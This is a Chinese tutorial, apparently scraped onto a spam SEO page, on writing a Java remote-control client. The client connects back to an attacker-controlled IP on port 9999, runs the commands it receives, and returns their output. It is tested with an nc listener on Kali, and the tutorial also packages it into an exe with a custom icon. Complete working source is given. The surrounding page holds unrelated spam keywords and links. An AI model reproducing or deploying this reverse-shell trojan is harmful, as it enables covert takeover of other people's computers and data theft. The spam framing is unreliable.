当前位置: 首页 > news >正文

真人做a视频网站seo服务商

真人做a视频网站,seo服务商,宁波网站建设模板制作,怎么做网站页面模板使用Java制作一个简易的远控终端 远控终端的本质 1、服务端(攻击者)传输消息 ----> socket连接 ----> 客户端(被攻击者)接收消息 2、客户端执行消息内容(即执行服务端传回来的命令) 3、客户端传输执行结果 ----> socket连接 ----> 服务端显示命令执行结果Java制作…

使用Java制作一个简易的远控终端

远控终端的本质

1、服务端(攻击者)传输消息 ----> socket连接 ----> 客户端(被攻击者)接收消息
2、客户端执行消息内容(即执行服务端传回来的命令)
3、客户端传输执行结果 ----> socket连接 ----> 服务端显示命令执行结果

Java制作简易的远控

1、环境

环境:IntelliJ IDEA 2022.1.1 + jdk1.8 + exe4j.exe

2、新建项目

打开idea,直接新建一个最普通的Java项目即可。
在这里插入图片描述

3、新建一个Java类

在这里插入图片描述

4、编写程序

(1)导入需要使用到的类包

import java.io.*;
import java.net.Socket;
import java.nio.charset.StandardCharsets;

(2)编写main方法

...
import java.nio.charset.StandardCharsets;public class RemoteControl {public static void main(String[] args) {}
}

(3)建立socket连接

public static void main(String[] args) {try {// 建立socket连接Socket socket = new Socket("192.168.6.142", 9999);} catch (IOException e) {e.printStackTrace();}}

(4)接收服务端传输的消息(即命令)

...
import java.nio.charset.StandardCharsets;public class RemoteControl {public static void main(String[] args) {try {// 建立socket连接Socket socket = new Socket("192.168.6.142", 9999);// 建立成功后while循环保持连接while (true) {// inputStream接收服务端传入的字节流数据InputStream inputStream = socket.getInputStream();// 定义客户端以一个字节大小的方式接收服务端传入的字节流数据byte[] bytes = new byte[1];// 服务端传入字节流数据转化成字符型数据——命令String command = "";while (true) {// 判断服务端传入的字节流数据是否被bytes字节数组接收完if (inputStream.available() > 0) {// 将服务端传入的字节流数据以一个字节大小的方式读入bytes字节数组中inputStream.read(bytes);// 将读入的字节流数据转化成16进制数据String hexString = BytesToHexString(bytes);// 将16进制数据转化成字符型数据并赋值给command——命令command += HexStringToString(hexString);// 判断服务端传入的字节流数据是否读完,如果读完就执行命令,否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止if (inputStream.available() == 0) {// 去掉服务端传回来命令的空格command = command.trim();// 如果传回来的命令为exit,就直接断开连接if (command.equals("exit")) {return;}}}}}	}...}
}

其中需要将接收数据的字节流先转化为16进制数据,再将16进制数据转化为字符型数据,这里分别自定义了两个静态方法:BytesToHexString和HexStringToString。

两个方法的定义如下:

...
import java.nio.charset.StandardCharsets;public class RemoteControl {public static void main(String[] args) {......}// 将字节流数据转化为16进制数据public static String BytesToHexString(byte[] bytes) {if (bytes == null) {return null;}char[] hexArray = "0123456789ABCDEF".toCharArray();char[] hexChars = new char[bytes.length * 2];for (int i = 0; i < bytes.length; i++) {int temp = bytes[i] & 0xFF;hexChars[i * 2] = hexArray[temp >> 4];hexChars[i * 2 + 1] = hexArray[temp & 0x0F];}return new String(hexChars);}// 将16进制数据转化为字符型数据public static String HexStringToString(String hexString) {byte[] array = new byte[hexString.length() / 2];try {for (int i = 0; i < array.length; i++) {array[i] = (byte) (0xFF & Integer.parseInt(hexString.substring(i * 2, i * 2 + 2), 16));}hexString = new String(array, "UTF-8");} catch (UnsupportedEncodingException e) {e.printStackTrace();return "";}return hexString;
}

(5)执行消息内容(即执行服务端传回来的命令)

...
import java.nio.charset.StandardCharsets;public class RemoteControl {public static void main(String[] args) {try {// 建立socket连接Socket socket = new Socket("192.168.6.142", 9999);// 建立成功后while循环保持连接while (true) {.......while (true) {// 判断服务端传入的字节流数据是否被bytes字节数组接收完if (inputStream.available() > 0) {......// 判断服务端传入的字节流数据是否读完,如果读完就执行命令,否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止if (inputStream.available() == 0) {......}// 执行命令并返回结果try {// 执行服务端传回来的命令,将命令的执行过程交给exec进程Process exec = Runtime.getRuntime().exec(command);} catch (Exception e) {e.printStackTrace();} }}}}}......}
}

(6)将执行结果返回给服务端

...
import java.nio.charset.StandardCharsets;public class RemoteControl {public static void main(String[] args) {try {// 建立socket连接Socket socket = new Socket("192.168.6.142", 9999);// 建立成功后while循环保持连接while (true) {.......while (true) {// 判断服务端传入的字节流数据是否被bytes字节数组接收完if (inputStream.available() > 0) {......// 判断服务端传入的字节流数据是否读完,如果读完就执行命令,否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止if (inputStream.available() == 0) {......}// 执行命令并返回结果try {// 执行服务端传回来的命令,将命令的执行过程交给exec进程Process exec = Runtime.getRuntime().exec(command);// 将执行命令返回结果的流赋值给输入流results中InputStream results = exec.getInputStream();// 考虑到执行命令的返回结果可能会有中文字符,所以采用BufferedReaderBufferedReader reader = new BufferedReader(new InputStreamReader(results));// 创建数据输出流,并将数据输出流中的数据流给到socket连接的输出流中,以让命令结果返回给服务端DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream());String line = null;// 读取命令执行结果的一行数据,如果数据不为空,则将数据写入到数据输出流中,然后将数据输出流中的数据进行刷新while ((line = reader.readLine()) != null) {dataOutputStream.write((line + "\n").getBytes(StandardCharsets.UTF_8));dataOutputStream.flush();}// 进程等待exec.waitFor();// 关闭输入流results.close();// 关闭读入流reader.close();// 销毁进程对象exec.destroy();break;} catch (Exception e) {e.printStackTrace();} finally {// 将存放命令的字符串置位空,防止下次执行命令的时候将该次命令也带入执行command = "";}}}}}}......}
}

至此,Java编写远程控制终端完成!

(7)测试远控终端的可用性

打开一台kali虚拟机(IP为192.168.6.142)作为服务端,使用nc监听9999端口。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
连接成功,远控终端制作完成!

5、将项目打包成jar包并生成exe文件

(1)打成jar包
步骤一

点击文件 --> 点击项目结构。
在这里插入图片描述

步骤二

点击工件 --> 点击JAR --> 点击来自具有…。
在这里插入图片描述

步骤三

将主类设为main函数所在的Java类 --> 点击确定。
在这里插入图片描述

步骤四

点击确定。
在这里插入图片描述

步骤五

点击构建 --> 点击构建项目
在这里插入图片描述

步骤六

再次点击构建 --> 点击构建工件
在这里插入图片描述

步骤七

点击构建即可。
在这里插入图片描述

步骤八

这时会在项目out\artifacts\remoteControl_jar目录下,生成了一个Jar文件。直接复制拖出来即可。
在这里插入图片描述
在这里插入图片描述

至此打包jar包完成。

(2)生成exe文件

使用exe4j(官网下载地址:https://exe4j.apponic.com/ )将jar包生成exe文件。

步骤一

打开exe4j --> next。
在这里插入图片描述

步骤二

选择"JAR in EXE"mode --> next
在这里插入图片描述

步骤三

填写相关内容 --> next。
在这里插入图片描述

步骤四

填写exe文件名字 --> 选择exe图标 --> 设置Advanced Options为32-bit or 64-bit。
在这里插入图片描述

步骤五

勾选选项 --> next。
在这里插入图片描述

步骤六

next。
在这里插入图片描述

步骤七

添加jar包 --> 选择jar包的存放路径 --> 选择jar包main函数所在的主类 --> next。
在这里插入图片描述
在这里插入图片描述

步骤八

选择jdk兼容最低的版本 --> 勾选"Allow JREs with a beta version number" --> next
在这里插入图片描述

步骤九

之后就一直next即可。
在这里插入图片描述
在这里插入图片描述
exe文件成功生成。

(3)测试exe文件的可用性

kali服务端监听端口。
在这里插入图片描述
点击运行生成的exe文件。
在这里插入图片描述
点击确定。
在这里插入图片描述
连接成功,Java制作远程控制终端完成!

附完整代码

import java.io.*;
import java.net.Socket;
import java.nio.charset.StandardCharsets;public class RemoteControl {public static void main(String[] args) {try {// 建立socket连接Socket socket = new Socket("192.168.6.142", 9999);// 建立成功后while循环保持连接while (true) {// inputStream接收服务端传入的字节流数据InputStream inputStream = socket.getInputStream();// 定义客户端以一个字节大小的方式接收服务端传入的字节流数据byte[] bytes = new byte[1];// 服务端传入字节流数据转化成字符型数据——命令String command = "";while (true) {// 判断服务端传入的字节流数据是否被bytes字节数组接收完if (inputStream.available() > 0) {// 将服务端传入的字节流数据以一个字节大小的方式读入bytes字节数组中inputStream.read(bytes);// 将读入的字节流数据转化成16进制数据String hexString = BytesToHexString(bytes);// 将16进制数据转化成字符型数据并赋值给command——命令command += HexStringToString(hexString);// 判断服务端传入的字节流数据是否读完,如果读完就执行命令,否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止if (inputStream.available() == 0) {// 去掉服务端传回来命令的空格command = command.trim();// 如果传回来的命令为exit,就直接断开连接if (command.equals("exit")) {return;}// 执行命令并返回结果try {// 执行服务端传回来的命令,将命令的执行过程交给exec进程Process exec = Runtime.getRuntime().exec(command);// 将执行命令返回结果的流赋值给输入流results中InputStream results = exec.getInputStream();// 考虑到执行命令的返回结果可能会有中文字符,所以采用BufferedReaderBufferedReader reader = new BufferedReader(new InputStreamReader(results));// 创建数据输出流,并将数据输出流中的数据流给到socket连接的输出流中,以让命令结果返回给服务端DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream());String line = null;// 读取命令执行结果的一行数据,如果数据不为空,则将数据写入到数据输出流中,然后将数据输出流中的数据进行刷新while ((line = reader.readLine()) != null) {dataOutputStream.write((line + "\n").getBytes(StandardCharsets.UTF_8));dataOutputStream.flush();}// 进程等待exec.waitFor();// 关闭输入流results.close();// 关闭读入流reader.close();// 销毁进程对象exec.destroy();break;} catch (Exception e) {e.printStackTrace();} finally {// 将存放命令的字符串置位空,防止下次执行命令的时候将该次命令也带入执行command = "";}}}}}} catch (IOException e) {e.printStackTrace();}}// 将字节流数据转化为16进制数据public static String BytesToHexString(byte[] bytes) {if (bytes == null) {return null;}char[] hexArray = "0123456789ABCDEF".toCharArray();char[] hexChars = new char[bytes.length * 2];for (int i = 0; i < bytes.length; i++) {int temp = bytes[i] & 0xFF;hexChars[i * 2] = hexArray[temp >> 4];hexChars[i * 2 + 1] = hexArray[temp & 0x0F];}return new String(hexChars);}// 将16进制数据转化为字符型数据public static String HexStringToString(String hexString) {byte[] array = new byte[hexString.length() / 2];try {for (int i = 0; i < array.length; i++) {array[i] = (byte) (0xFF & Integer.parseInt(hexString.substring(i * 2, i * 2 + 2), 16));}hexString = new String(array, "UTF-8");} catch (UnsupportedEncodingException e) {e.printStackTrace();return "";}return hexString;}
}
http://www.lbrq.cn/news/2552113.html

相关文章:

  • wordpress 制作网站模板企业营销策划包括哪些内容
  • 北京网站制作培训班站长统计app软件下载2021
  • 北京国税局网站做票种核定时企业网络营销方案策划
  • 数据查询网站模板淘宝seo 优化软件
  • 政府网站建设实施意见什么软件能搜索关键词能快速找到
  • 一个人可以做网站网络推广主要做什么
  • 做平面设计兼职的网站关键词搜索工具
  • 网站 设计 案例 简单南京seo全网营销
  • 河南手机网站建设公司哪家好天琥设计培训学校官网
  • 衡水做wap网站建设2021年热门关键词
  • 怎么创网站赚钱手机百度云网页版登录
  • 网站访问速度 云组机口碑营销的前提及好处有哪些
  • 企业网站做优化网站seo诊断报告怎么写
  • 做礼品建什么网站微信引流推广
  • 网站推广方案的构成seo排名赚挂机赚钱软件下载
  • 国内做的比较好的旅游网站商业软文案例
  • 怎样破解网站后台密码怎么线上推广自己的产品
  • 南联网站建设哪家好seo优化方案报价
  • 爱站网长尾关键词搜索新闻联播今日新闻
  • 做网店装修的网站有哪些内容我要软文网
  • 苏州网站建设哪里好电商网站建设报价
  • 广东省企网站建设企业内训课程
  • adobe 做网站图片搜索引擎
  • 平面设计素材怎么找网站的推广优化
  • 网站建设维护专员岗位说明接广告推广
  • 做微整的网站网络营销创意案例
  • 餐饮网站网页设计代码重庆seo推广外包
  • 政府网站建设个人先进推荐材料百度推广最简单方法
  • 做寝室介绍网站谷歌关键词推广怎么做
  • 网站前台显示数据库指定分类怎么做php下载应用商店
  • Go语言中的盲点:竞态检测和互斥锁的错觉
  • Vue项目使用ssh2-sftp-client实现打包自动上传到服务器(完整教程)
  • 【vue】Vue 项目创建工具对比:vue create 与 create-vue 的核心区别
  • RabbitMQ 消费者确认 (Ack/Nack) (With Spring Boot)
  • 网络与信息安全有哪些岗位:(4)应急响应工程师
  • RNN、LSTM、Transformer推荐博文